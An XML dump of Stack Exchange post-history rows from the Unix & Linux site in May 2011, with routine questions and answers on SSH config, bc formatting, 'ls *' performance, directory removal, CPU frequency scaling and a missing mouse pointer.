  <row Id="31070" PostHistoryTypeId="2" PostId="12654" RevisionGUID="2ad9012f-1640-4e5c-bce5-09627dc941e9" CreationDate="2011-05-05T04:22:31.780" UserId="6167" Text="To simplify your setup, you can set up an SSH config file which is located at `~/.ssh/config`.  Add an entry to the file like:&#xD;&#xA;&#xD;&#xA;    Host server&#xD;&#xA;    User l33t&#xD;&#xA;    HostName server.example.org&#xD;&#xA;&#xD;&#xA;The HostName directive is optional if it matches the name given in Host.  This is basically an alias to typing `l33t@server.example.org`.  You could make the name as short a `s` in the Host line if you want to avoid a lot of typing.  You can also ignore the User line when the remote username is the same as your local username.  With the above config, all you need to type is `ssh server`, `scp file-to-copy server:`, and so on.&#xD;&#xA;&#xD;&#xA;OpenSSH does not support storing passwords since this is normally a bad idea, but it offers a more secure alternative called public key authentication.  With public keys, you can log onto multiple servers automatically even if each server has a different password.  Public keys use a private key that is normally stored on disk with a password.  This password is use to load the private key which is then used to authenticate to the remote server.  To avoid typing in the password for the private key all the time, the private key can be loaded into an SSH Public Key Agent such as `ssh-agent` or GNOME Keyring.  While the agent is running with the loaded private key, you can authenticate to any server automatically with no password needed.  You can also store a private key to disk without a password, but this is less secure and equivalent to storing a plain-text password to disk.  Take a look at http://unix.stackexchange.com/questions/10706/setting-up-ssh-public-key." />
  <row Id="31072" PostHistoryTypeId="5" PostId="12629" RevisionGUID="407753c0-cd8e-4058-920d-bfa3226c49b4" CreationDate="2011-05-05T04:48:14.443" UserId="2343" Comment="deleted 439 characters in body" Text="I am trying to filter valid/invalid UTF-8 bytes, but I get strange results from the following regex (which is intended to handle a 3 byte form of UTF-8).   &#xD;&#xA;&#xD;&#xA;I have intended the pattern should **not** match the test bytes `'\xE0\xA1\x63'`, but it does...  &#xD;&#xA;What am I missing?        &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    showmatch() {&#xD;&#xA;      echo -ne &quot;    --&gt; &quot;&#xD;&#xA;      echo -ne &quot;$bytes&quot; | &#xD;&#xA;        # strip whitespace from the pattern&#xD;&#xA;        perl -l -ne '/^'${1// /}'$/x and print' |&#xD;&#xA;          tr -d '\n' |&#xD;&#xA;            xxd -p |&#xD;&#xA;              tr -d '\n'&#xD;&#xA;      echo; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bytes='\xE0\xA1\x63'&#xD;&#xA;    echo -n &quot;before: &quot;; echo -ne &quot;$bytes&quot; |xxd -p&#xD;&#xA;    # Note: all whitespace is stripped from each regex pattern.&#xD;&#xA;    #           Bytes 1 and 2 and 3&#xD;&#xA;    #          (---------------------------------------------------------------------------------------------------)&#xD;&#xA;    #              Bytes 1 and 2&#xD;&#xA;    #             (------------------------------------------------------------------------------)                  &#xD;&#xA;    #                [byt1][byt2-----]  |  [byt1][byt2-----]  |  [byte-1------------][byt2-----]      [byt3----]                                                          &#xD;&#xA;    #                =================     =================     ===============================      ==========                            &#xD;&#xA;    showmatch '(  ( ([\xE0][\xA0-\xBF]) | ([\xED][\x80-\x9F]) | ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )  ([\80-\xBF])  )'&#xD;&#xA;    #&#xD;&#xA;    # witout spaces:&#xD;&#xA;    showmatch '((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))'&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before: e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;" />
  <row Id="31074" PostHistoryTypeId="5" PostId="12612" RevisionGUID="523bfc35-4ee9-4265-8686-4da21a8177b5" CreationDate="2011-05-05T05:13:23.680" UserId="6215" Comment="solution" Text="I tried to slow down my CPU with `powernowd` and `cpufreq-selector`. I hoped that with lower frequency it will be less hot and I won't hear my fan every time I will run internet radio.&#xD;&#xA;I used the following commands&#xD;&#xA;&#xD;&#xA;    sudo cpufreq-selector -f 800000&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    sudo powernowd -m 0 -l 40 -u 60&#xD;&#xA;&#xD;&#xA;but this wasn't sufficient for more quiet laptop.&#xD;&#xA;&#xD;&#xA;My CPU is &#xD;&#xA;&#xD;&#xA;&gt; Intel(R) Pentium(R) M processor&#xD;&#xA;&gt; 1.60GHz&#xD;&#xA;&#xD;&#xA;Could you advise me on how to make it run cooler / quieter?&#xD;&#xA;&#xD;&#xA;I solved it yesterday with `sudo cpufreq-selector -g powersave`" />
  <row Id="31075" PostHistoryTypeId="2" PostId="12656" RevisionGUID="3773b506-ed12-4aeb-833b-012f9d16ce39" CreationDate="2011-05-05T05:47:05.530" UserId="6960" Text="this is a bc output, e.g.:&#xD;&#xA;&#xD;&#xA;INPUT: &#xD;&#xA;&#xD;&#xA;	echo &quot;scale=10; BLA-BLA-HERE-NOT-IMPORTANT | bc&#xD;&#xA;&#xD;&#xA;OUTPUT: &#xD;&#xA;&#xD;&#xA;	.3708446283953709207058828124021300754352578903651372655882743141882\&#xD;&#xA;	77124645102027246581819139527644919407424570060822470537797066353573\&#xD;&#xA;	96635.8038454068 days&#xD;&#xA;&#xD;&#xA;TWO PROBLEMS:&#xD;&#xA; - can the output be &quot;0.3708...&quot;?&#xD;&#xA; - can I remove the &quot;\\n&quot;-s from the end? I can't find any max width option in bc..&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="31076" PostHistoryTypeId="1" PostId="12656" RevisionGUID="3773b506-ed12-4aeb-833b-012f9d16ce39" CreationDate="2011-05-05T05:47:05.530" UserId="6960" Text="BC - no &quot;\\n&quot; at the end + start with zeros?" />
  <row Id="31077" PostHistoryTypeId="3" PostId="12656" RevisionGUID="3773b506-ed12-4aeb-833b-012f9d16ce39" CreationDate="2011-05-05T05:47:05.530" UserId="6960" Text="ébashà" />
  <row Id="31078" PostHistoryTypeId="2" PostId="12657" RevisionGUID="addb0e43-31b6-4bf5-83a2-075cf45aa774" CreationDate="2011-05-05T05:51:15.390" UserId="3169" Text="Almost certainly you can get [Openbox](http://openbox.org/wiki/Main_Page) to do this:&#xD;&#xA;&#xD;&#xA;[Configuration](http://openbox.org/wiki/Help:Configuration)&#xD;&#xA;&#xD;&#xA;Edit the file in `~/.config/openbox/rc.xml` as follows:&#xD;&#xA;&#xD;&#xA;[Focus](http://openbox.org/wiki/Help:Configuration#Focus)&#xD;&#xA;&#xD;&#xA;    &lt;focus&gt;&#xD;&#xA;          &lt;followMouse&gt;yes&lt;/followMouse&gt;&#xD;&#xA;          &lt;raiseOnFocus&gt;no&lt;/raiseOnFocus&gt;&#xD;&#xA;    &lt;/focus&gt;&#xD;&#xA;&#xD;&#xA;[Bindings](http://openbox.org/wiki/Help:Bindings#Context)  &#xD;&#xA;&#xD;&#xA;    &lt;mouse&gt;&#xD;&#xA;        &lt;context name=&quot;frame&quot;&gt;&#xD;&#xA;            &lt;mousebind button=&quot;S-A-Left&quot; action=&quot;press&quot;&gt;&#xD;&#xA;                &lt;action name=&quot;RaiseLower&quot;/&gt;&#xD;&#xA;            &lt;/mousebind&gt;&#xD;&#xA;        &lt;/context&gt;&#xD;&#xA;    &lt;/mouse&gt;&#xD;&#xA;&#xD;&#xA;RaiseLower may or may not be what you want here.&#xD;&#xA;&#xD;&#xA;See [Actions](http://openbox.org/wiki/Help:Actions#RaiseLower) for a full list." />
  <row Id="31079" PostHistoryTypeId="5" PostId="12656" RevisionGUID="dc429127-775b-477e-a46d-67cd9f4f3a33" CreationDate="2011-05-05T05:54:05.277" UserId="6960" Comment="added 36 characters in body" Text="this is a bc output, e.g.:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;INPUT: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	echo &quot;scale=10; BLA-BLA-HERE-NOT-IMPORTANT | bc&#xD;&#xA;&#xD;&#xA;OUTPUT: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	.3708446283953709207058828124021300754352578903651372655882743141882\&#xD;&#xA;	77124645102027246581819139527644919407424570060822470537797066353573\&#xD;&#xA;	96635.8038454068 days&#xD;&#xA;&#xD;&#xA;TWO PROBLEMS:&lt;br&gt;&#xD;&#xA; - can the output be &quot;0.3708...&quot;?&lt;br&gt;&#xD;&#xA; - can I remove the &quot;\\n&quot;-s from the end? I can't find any max width option in bc..&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="31080" PostHistoryTypeId="5" PostId="12656" RevisionGUID="4a877fbf-70c6-4285-b210-27eb3f2639cd" CreationDate="2011-05-05T06:03:40.843" UserId="1925" Comment="edited body" Text="This is a `bc` output, e.g.:&#xD;&#xA;&#xD;&#xA;Input:&#xD;&#xA;&#xD;&#xA;    echo &quot;scale=10; BLA-BLA-HERE-NOT-IMPORTANT | bc&#xD;&#xA;&#xD;&#xA;Output: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;    .3708446283953709207058828124021300754352578903651372655882743141882\&#xD;&#xA;    77124645102027246581819139527644919407424570060822470537797066353573\&#xD;&#xA;    96635.8038454068 days&#xD;&#xA;&#xD;&#xA;Two Questions:&#xD;&#xA;&#xD;&#xA; - can the output be rounded to something like &quot;0.3708...&quot;?&#xD;&#xA; - can I remove the &quot;\\n&quot;-s from the end?&#xD;&#xA;&#xD;&#xA;I can't find any max width option in `bc`." />
  <row Id="31081" PostHistoryTypeId="25" PostId="12650" RevisionGUID="7ef7c687-976d-43b2-9fe3-db7885d12c4c" CreationDate="2011-05-05T06:11:26.557" Comment="http://twitter.com/#!/StackUnix/status/66022170140221440" />
  <row Id="31082" PostHistoryTypeId="2" PostId="12658" RevisionGUID="eb2274c7-b1a5-4c7e-a747-09c1d9b812de" CreationDate="2011-05-05T06:12:28.357" UserId="3879" Text="You can try something like this code:&#xD;&#xA;&#xD;&#xA;    echo &quot;scale = 4;  3.5678/3&quot; | bc | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;Setting `scale` for `bc` is supposed to do the rounding job. You can substitute the division part with your desired command. The output of `bc` is again piped to `tr`, which converts the newline (`\n`) to white space. For the above command I get the following output:&#xD;&#xA;&#xD;&#xA;    1.1892 user@localhost:~/codes$" />
  <row Id="31083" PostHistoryTypeId="12" PostId="12628" RevisionGUID="318acd06-888d-482f-849c-e6e32cf3b4b5" CreationDate="2011-05-05T06:26:53.500" UserId="7139" Text="[{&quot;Id&quot;:7139,&quot;DisplayName&quot;:&quot;Behrooz&quot;}]" />
  <row Id="31084" PostHistoryTypeId="13" PostId="12628" RevisionGUID="37a2d8a0-9910-4b90-bb37-2f93b099502f" CreationDate="2011-05-05T06:27:34.887" UserId="7139" Text="[{&quot;Id&quot;:7139,&quot;DisplayName&quot;:&quot;Behrooz&quot;}]" />
  <row Id="31085" PostHistoryTypeId="2" PostId="12659" RevisionGUID="bb60475e-d5b0-4781-87a1-ab485b27ce16" CreationDate="2011-05-05T06:57:05.200" UserId="6958" Text="I have a couple of files in a directory:&#xD;&#xA;&#xD;&#xA;    $ ls | wc -l&#xD;&#xA;    9376&#xD;&#xA;&#xD;&#xA;Can anybody explain why there is such a huge time difference in using `ls *` and `ls`?&#xD;&#xA;&#xD;&#xA;    $ time ls &gt; /dev/null&#xD;&#xA;    real    0m0.118s&#xD;&#xA;    user    0m0.106s&#xD;&#xA;    sys     0m0.011s&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ time ls * &gt; /dev/null&#xD;&#xA;    real    1m32.602s&#xD;&#xA;    user    0m0.233s&#xD;&#xA;    sys     0m0.438s&#xD;&#xA;&#xD;&#xA;okay, this is a drastic example and maybe enhanced because the directory is on a general parallel file system (GPFS). But I can see a significant slowdown on a local file system. Thanks in advance." />
  <row Id="31086" PostHistoryTypeId="1" PostId="12659" RevisionGUID="bb60475e-d5b0-4781-87a1-ab485b27ce16" CreationDate="2011-05-05T06:57:05.200" UserId="6958" Text="Why does &quot;ls *&quot; take so much longer than &quot;ls&quot;?" />
  <row Id="31087" PostHistoryTypeId="3" PostId="12659" RevisionGUID="bb60475e-d5b0-4781-87a1-ab485b27ce16" CreationDate="2011-05-05T06:57:05.200" UserId="6958" Text="éfilesystemsàéperformanceàélsàétimeà" />
  <row Id="31088" PostHistoryTypeId="2" PostId="12660" RevisionGUID="da11dd4c-3736-48b7-92c7-ec6aa6152720" CreationDate="2011-05-05T07:14:47.627" UserId="1078" Text="When you run `ls` without arguments, it will just open a directory, read all the contents, sort them and print them out.&#xD;&#xA;&#xD;&#xA;When you run `ls *`, first the shell expands `*`, which is effectively the same as what the simple `ls` did, builds an argument vector with all the files in the current directory and calls `ls`. `ls` then has to process that argument vector and for each argument, and calls `access(2)`¹ the file to check it's existence. Then it will print out the same output as the first (simple) `ls`. Both the shell's processing of the large argument vector and `ls`'s will likely involve a lot of memory allocation of small blocks, which can take some time. However, since there was little `sys` and `user` time, but a lot of `real` time, most of the time would have been spent waiting for disk, rather than using CPU doing memory allocation.&#xD;&#xA;&#xD;&#xA;Each call to `access(2)` will need to read the file's inode to get the permission information. That means a lot more disk reads and seeks than simply reading a directory. I do not know how expensive these operations are on your GPFS, but it may be interesting to compare the time taken of `ls -l`, since that also needs to read each file's inode.&#xD;&#xA;&#xD;&#xA;It should be noted that your `time` output will not include the time taken by the shell to expand the wildcard.&#xD;&#xA;&#xD;&#xA;¹ I don't know if `access(2)` is actually used, or something else such as `stat(2)`. But both probably require an inode lookup (I'm not sure if `access(file, 0)` would bypass an inode lookup.)" />
  <row Id="31089" PostHistoryTypeId="2" PostId="12661" RevisionGUID="bb956ce4-1e7a-48e2-8407-e5f57cb26317" CreationDate="2011-05-05T07:21:10.913" UserId="1078" Text="`rmdir(2)` will fail if the directory is not empty. If another process is creating files while `rm(1)` is removing them, it will not know to delete them and consequently when it comes time for `rm(1)` to try to delete what it believes should be an empty directory, it will fail with the error you've posted.&#xD;&#xA;&#xD;&#xA;One way to delete the directory in the face of concurrent file creations in the directory is to rename it:&#xD;&#xA;&#xD;&#xA;    mv a a~&#xD;&#xA;    rm -rf a~&#xD;&#xA;&#xD;&#xA;I am assuming that the process(es) that creates files in `a/b` will recreate that directory if it does not exist, or will handle failure gracefully if it does not exist. Since you are already trying to delete the directory from under other processes, that seems like a safe assumption." />
  <row Id="31090" PostHistoryTypeId="5" PostId="12661" RevisionGUID="46ab1401-2c01-4b17-9190-ede547dbbf34" CreationDate="2011-05-05T07:30:01.037" UserId="1078" Comment="added 139 characters in body" Text="`rmdir(2)` will fail if the directory is not empty. If another process is creating files while `rm(1)` is removing them, it will not know to delete them and consequently when it comes time for `rm(1)` to try to delete what it believes should be an empty directory, it will fail with the error you've posted.&#xD;&#xA;&#xD;&#xA;One way to delete the directory in the face of concurrent file creations in the directory is to rename it:&#xD;&#xA;&#xD;&#xA;    mv a a~&#xD;&#xA;    rm -rf a~&#xD;&#xA;&#xD;&#xA;It's possible that this may not work if the processes creating the files in `a/b` are not doing so by path (`open(2)` vs. `openat(2)`).&#xD;&#xA;&#xD;&#xA;I am assuming that the process(es) that creates files in `a/b` will recreate that directory if it does not exist, or will handle failure gracefully if it does not exist. Since you are already trying to delete the directory from under other processes, that seems like a safe assumption." />
  <row Id="31091" PostHistoryTypeId="2" PostId="12662" RevisionGUID="e3f0c5b4-36cf-436b-8438-57501d00fa56" CreationDate="2011-05-05T07:37:43.263" UserId="3645" Text="If you want to keep for example a build or server system clean, it is very useful to be able to **check that all files are present and accounted for** by the package metadata. At work we have a very nice tool which, if run without any parameters, simply creates a file with `rm`/`rmdir` statements for any and all files/directories not mentioned by any package (excluding some trees like `/home`). This is *different* from [`rpm -V`][1] and [`debsums`][2], which only check the files already mentioned by a package.&#xD;&#xA;&#xD;&#xA;Is there a tool like this for DEB/RPM/Ports/other packaging systems? DEB would be the best, but porting from another system (or our own, if nothing else exists) would probably be feasible.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rpm.org/max-rpm/ch-rpm-verify.html&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/hardy/man1/debsums.1.html" />
  <row Id="31092" PostHistoryTypeId="1" PostId="12662" RevisionGUID="e3f0c5b4-36cf-436b-8438-57501d00fa56" CreationDate="2011-05-05T07:37:43.263" UserId="3645" Text="Tool to remove all non-package files on a system" />
  <row Id="31093" PostHistoryTypeId="3" PostId="12662" RevisionGUID="e3f0c5b4-36cf-436b-8438-57501d00fa56" CreationDate="2011-05-05T07:37:43.263" UserId="3645" Text="ésecurityàéfilesàéverificationàéchecksumà" />
  <row Id="31094" PostHistoryTypeId="2" PostId="12663" RevisionGUID="3fe1dc35-4a44-4f81-972a-83f28d6376c2" CreationDate="2011-05-05T07:39:53.590" UserId="6960" Text="I have a big number: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	2923174917395723957&#xD;&#xA;&#xD;&#xA;that would be: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	2,923*10^18&#xD;&#xA;&#xD;&#xA;are there any parameters in bc that will give this OUTPUT?&lt;br&gt;&#xD;&#xA;e.g.: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	$ echo '2923174917395723956 + 1' | bc&#xD;&#xA;	2,923*10^18&#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;Or something similar...the point is that it must have a short look&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="31095" PostHistoryTypeId="1" PostId="12663" RevisionGUID="3fe1dc35-4a44-4f81-972a-83f28d6376c2" CreationDate="2011-05-05T07:39:53.590" UserId="6960" Text="BC - output normal form?" />
  <row Id="31096" PostHistoryTypeId="3" PostId="12663" RevisionGUID="3fe1dc35-4a44-4f81-972a-83f28d6376c2" CreationDate="2011-05-05T07:39:53.590" UserId="6960" Text="ébashà" />
  <row Id="31097" PostHistoryTypeId="5" PostId="12659" RevisionGUID="8eae07a8-b421-4869-837f-86f5e041d2b2" CreationDate="2011-05-05T07:40:38.473" UserId="6958" Comment="added ls -l" Text="I have a couple of files in a directory:&#xD;&#xA;&#xD;&#xA;    $ ls | wc -l&#xD;&#xA;    9376&#xD;&#xA;&#xD;&#xA;Can anybody explain why there is such a huge time difference in using `ls *` and `ls`?&#xD;&#xA;&#xD;&#xA;    $ time ls &gt; /dev/null&#xD;&#xA;    real    0m0.118s&#xD;&#xA;    user    0m0.106s&#xD;&#xA;    sys     0m0.011s&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ time ls * &gt; /dev/null&#xD;&#xA;    real    1m32.602s&#xD;&#xA;    user    0m0.233s&#xD;&#xA;    sys     0m0.438s&#xD;&#xA;&#xD;&#xA;okay, this is a drastic example and maybe enhanced because the directory is on a general parallel file system (GPFS). But I can see a significant slowdown on a local file system. Thanks in advance.&#xD;&#xA;&#xD;&#xA;**EDIT:** &#xD;&#xA;&#xD;&#xA;    time ls -l &gt; /dev/null&#xD;&#xA;    real    0m58.772s&#xD;&#xA;    user    0m0.113s&#xD;&#xA;    sys     0m0.452s&#xD;&#xA;" />
  <row Id="31098" PostHistoryTypeId="5" PostId="12505" RevisionGUID="69e97d6f-4608-4dfc-bfb4-b5937b1f88dd" CreationDate="2011-05-05T07:53:02.217" UserId="2703" Comment="deleted 50 characters in body" Text="I have a certain Linux executable that is called from a bigger application to perform some calculations. I want to modify the way the calculations are performed, for that I first need to understand how the executable is called and in what way the parameters and data are transferred.&#xD;&#xA;&#xD;&#xA;So, I'd like to monitor the command line parameters, stdin and stdout if this executable is called. The normal operation of the executable should not be disturbed.&#xD;&#xA;&#xD;&#xA;Is there an easy way to do that?&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;I tried the shell script placeholder idea to grab all the data using the following script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    export LOGFILE=/tmp/logname&#xD;&#xA;    echo `env` &gt; $LOGFILE-env&#xD;&#xA;    echo &quot;$@&quot; &gt;&gt; $LOGFILE-arguments&#xD;&#xA;    tee -a $LOGFILE-stdin | /path/to/real/executable 2&gt;&amp;1 | tee -a $LOGFILE-stdout&#xD;&#xA;&#xD;&#xA;This works fine for test input, but it just hangs if it is called for real. Probably there is even more going on than I suspected." />
  <row Id="31099" PostHistoryTypeId="25" PostId="12659" RevisionGUID="513a194f-3e76-4b2d-9903-f705af643814" CreationDate="2011-05-05T09:11:26.677" Comment="http://twitter.com/#!/StackUnix/status/66067468963164160" />
  <row Id="31100" PostHistoryTypeId="5" PostId="12659" RevisionGUID="b2e09f86-f878-4133-9c60-30e83a747280" CreationDate="2011-05-05T09:58:07.267" UserId="6958" Comment="added 106 characters in body" Text="I have a couple of files in a directory:&#xD;&#xA;&#xD;&#xA;    $ ls | wc -l&#xD;&#xA;    9376&#xD;&#xA;&#xD;&#xA;Can anybody explain why there is such a huge time difference in using `ls *` and `ls`?&#xD;&#xA;&#xD;&#xA;    $ time ls &gt; /dev/null&#xD;&#xA;    real    0m0.118s&#xD;&#xA;    user    0m0.106s&#xD;&#xA;    sys     0m0.011s&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ time ls * &gt; /dev/null&#xD;&#xA;    real    1m32.602s&#xD;&#xA;    user    0m0.233s&#xD;&#xA;    sys     0m0.438s&#xD;&#xA;&#xD;&#xA;okay, this is a drastic example and maybe enhanced because the directory is on a general parallel file system (GPFS). But I can see a significant slowdown on a local file system. Thanks in advance.&#xD;&#xA;&#xD;&#xA;**EDIT:** &#xD;&#xA;&#xD;&#xA;    $ time ls -l &gt; /dev/null&#xD;&#xA;    real    0m58.772s&#xD;&#xA;    user    0m0.113s&#xD;&#xA;    sys     0m0.452s&#xD;&#xA;and I should add that in my example there are no sub directories:&#xD;&#xA;&#xD;&#xA;    $ diff &lt;(ls) &lt;(ls *)&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31101" PostHistoryTypeId="2" PostId="12664" RevisionGUID="10414dbe-9f60-4a2b-8342-fa1a87da1933" CreationDate="2011-05-05T10:00:55.600" UserId="2871" Text="Hi Heather,  &#xD;&#xA;&#xD;&#xA;I am so sorry to tell you that, it is going to be really difficult.  &#xD;&#xA;But dont get tensed. First of all please remove that hard-disk, or else it can easily destroy the data by writing something new data there, thereby removing the last possibilities of recovering it.  &#xD;&#xA;&#xD;&#xA;If you want to try recovering it by yourself, i ll attach one [pdf][1] which i made from some site(which i dont remember now). It has some steps to do that. But dont try if you strongly feel that you cant do it. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.keepandshare.com/doc/view.php?id=2789880&amp;da=y" />
  <row Id="31102" PostHistoryTypeId="2" PostId="12665" RevisionGUID="5bf85bab-a954-447c-b064-d4f4a65e234a" CreationDate="2011-05-05T10:38:23.707" UserId="1900" Text="Have tried many windows managers including TWM, xfce and Gnome, but my mouse pointer is gone. It is invisible, but it performs all the actions. If I do the right click the context menu opens and this is how I can tell what the current location of the pointer is.&#xD;&#xA;&#xD;&#xA;This is a newest stable built of Debian.&#xD;&#xA;&#xD;&#xA;How can I restore the mouse pointer?&#xD;&#xA;&#xD;&#xA;The output from lsmod is included below.&#xD;&#xA;Links &#xD;&#xA;&#xD;&#xA;[to Xserver logs][1] and &#xD;&#xA;&#xD;&#xA;[dmesg output][2].&#xD;&#xA;&#xD;&#xA;Can anybody help?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;lsmod:&#xD;&#xA;&#xD;&#xA;    Module                  Size  Used by&#xD;&#xA;    nls_utf8                 908  1 &#xD;&#xA;    nls_cp437               4489  1 &#xD;&#xA;    vfat                    6570  1 &#xD;&#xA;    fat                    34912  1 vfat&#xD;&#xA;    usbhid                 28008  0 &#xD;&#xA;    hid                    50909  1 usbhid&#xD;&#xA;    cpufreq_conservative     4018  0 &#xD;&#xA;    cpufreq_userspace       1480  0 &#xD;&#xA;    cpufreq_powersave        602  0 &#xD;&#xA;    cpufreq_stats           1940  0 &#xD;&#xA;    ppdev                   4058  0 &#xD;&#xA;    lp                      5570  0 &#xD;&#xA;    sco                     5857  2 &#xD;&#xA;    bridge                 33019  0 &#xD;&#xA;    stp                      996  1 bridge&#xD;&#xA;    bnep                    7444  2 &#xD;&#xA;    rfcomm                 25175  0 &#xD;&#xA;    l2cap                  21709  4 bnep,rfcomm&#xD;&#xA;    bluetooth              36319  6 sco,bnep,rfcomm,l2cap&#xD;&#xA;    binfmt_misc             4907  1 &#xD;&#xA;    fuse                   44256  1 &#xD;&#xA;    ext4                  257803  1 &#xD;&#xA;    jbd2                   56155  1 ext4&#xD;&#xA;    crc16                   1027  2 l2cap,ext4&#xD;&#xA;    loop                    9765  0 &#xD;&#xA;    firewire_sbp2           9647  0 &#xD;&#xA;    snd_intel8x0           19595  0 &#xD;&#xA;    snd_ac97_codec         79148  1 snd_intel8x0&#xD;&#xA;    arc4                     974  4 &#xD;&#xA;    ecb                     1405  4 &#xD;&#xA;    ac97_bus                 710  1 snd_ac97_codec&#xD;&#xA;    rt2500pci              11303  0 &#xD;&#xA;    snd_pcm_oss            28671  0 &#xD;&#xA;    rt2x00pci               3773  1 rt2500pci&#xD;&#xA;    snd_mixer_oss          10461  1 snd_pcm_oss&#xD;&#xA;    ath5k                 104074  0 &#xD;&#xA;    rt2x00lib              19101  2 rt2500pci,rt2x00pci&#xD;&#xA;    ath                     6014  1 ath5k&#xD;&#xA;    snd_pcm                47226  3 snd_intel8x0,snd_ac97_codec,snd_pcm_oss&#xD;&#xA;    i915                  223024  2 &#xD;&#xA;    mac80211              123570  3 rt2x00pci,ath5k,rt2x00lib&#xD;&#xA;    snd_seq_midi            3576  0 &#xD;&#xA;    cfg80211               87657  4 ath5k,rt2x00lib,ath,mac80211&#xD;&#xA;    snd_rawmidi            12513  1 snd_seq_midi&#xD;&#xA;    drm_kms_helper         18309  1 i915&#xD;&#xA;    snd_seq_midi_event      3684  1 snd_seq_midi&#xD;&#xA;    rfkill                 10264  3 bluetooth,cfg80211&#xD;&#xA;    eeprom_93cx6             963  1 rt2500pci&#xD;&#xA;    drm                   112088  3 i915,drm_kms_helper&#xD;&#xA;    snd_seq                35463  2 snd_seq_midi,snd_seq_midi_event&#xD;&#xA;    pcmcia                 16194  0 &#xD;&#xA;    snd_timer              12258  2 snd_pcm,snd_seq&#xD;&#xA;    i2c_algo_bit            3497  1 i915&#xD;&#xA;    snd_seq_device          3673  3 snd_seq_midi,snd_rawmidi,snd_seq&#xD;&#xA;    yenta_socket           16403  3 &#xD;&#xA;    rsrc_nonstatic          7057  1 yenta_socket&#xD;&#xA;    asus_laptop            11090  0 &#xD;&#xA;    pcmcia_core            20450  3 pcmcia,yenta_socket,rsrc_nonstatic&#xD;&#xA;    i2c_i801                6462  0 &#xD;&#xA;    parport_pc             15799  1 &#xD;&#xA;    joydev                  6739  0 &#xD;&#xA;    led_class               1757  3 ath5k,rt2x00lib,asus_laptop&#xD;&#xA;    parport                22554  3 ppdev,lp,parport_pc&#xD;&#xA;    i2c_core               12787  5 i915,drm_kms_helper,drm,i2c_algo_bit,i2c_i801&#xD;&#xA;    snd                    34375  9 snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_device&#xD;&#xA;    shpchp                 21220  0 &#xD;&#xA;    evdev                   5609  13 &#xD;&#xA;    video                  14605  1 i915&#xD;&#xA;    battery                 3782  0 &#xD;&#xA;    processor              26327  1 &#xD;&#xA;    button                  3598  1 i915&#xD;&#xA;    ac                      1640  0 &#xD;&#xA;    rng_core                2178  0 &#xD;&#xA;    output                  1204  1 video&#xD;&#xA;    pcspkr                  1207  0 &#xD;&#xA;    soundcore               3450  1 snd&#xD;&#xA;    snd_page_alloc          5045  2 snd_intel8x0,snd_pcm&#xD;&#xA;    psmouse                44809  0 &#xD;&#xA;    serio_raw               2916  0 &#xD;&#xA;    pci_hotplug            18065  1 shpchp&#xD;&#xA;    ext3                   94204  1 &#xD;&#xA;    jbd                    32169  1 ext3&#xD;&#xA;    mbcache                 3762  2 ext4,ext3&#xD;&#xA;    usb_storage            30833  1 &#xD;&#xA;    sd_mod                 26005  6 &#xD;&#xA;    crc_t10dif              1012  1 sd_mod&#xD;&#xA;    8139too                14949  0 &#xD;&#xA;    ata_generic             2067  0 &#xD;&#xA;    ata_piix               17736  3 &#xD;&#xA;    uhci_hcd               16057  0 &#xD;&#xA;    firewire_ohci          16725  0 &#xD;&#xA;    thermal                 9206  0 &#xD;&#xA;    8139cp                 13421  0 &#xD;&#xA;    libata                115753  2 ata_generic,ata_piix&#xD;&#xA;    ehci_hcd               28681  0 &#xD;&#xA;    firewire_core          31243  2 firewire_sbp2,firewire_ohci&#xD;&#xA;    crc_itu_t               1035  1 firewire_core&#xD;&#xA;    thermal_sys             9378  3 video,processor,thermal&#xD;&#xA;    mii                     2714  2 8139too,8139cp&#xD;&#xA;    usbcore                98733  5 usbhid,usb_storage,uhci_hcd,ehci_hcd&#xD;&#xA;    nls_base                4541  5 nls_utf8,nls_cp437,vfat,fat,usbcore&#xD;&#xA;    scsi_mod              101429  4 firewire_sbp2,usb_storage,sd_mod,libata&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/document/pub?id=1pCRtPenb5KPhesS_MeAFHQ_-iMeaWB9pppWezlFiyUA&#xD;&#xA;  [2]: https://docs.google.com/document/pub?id=1gUWYlwJc5CshFqm1iC5NPm02CWs403D1JdQDRzqSAjk" />
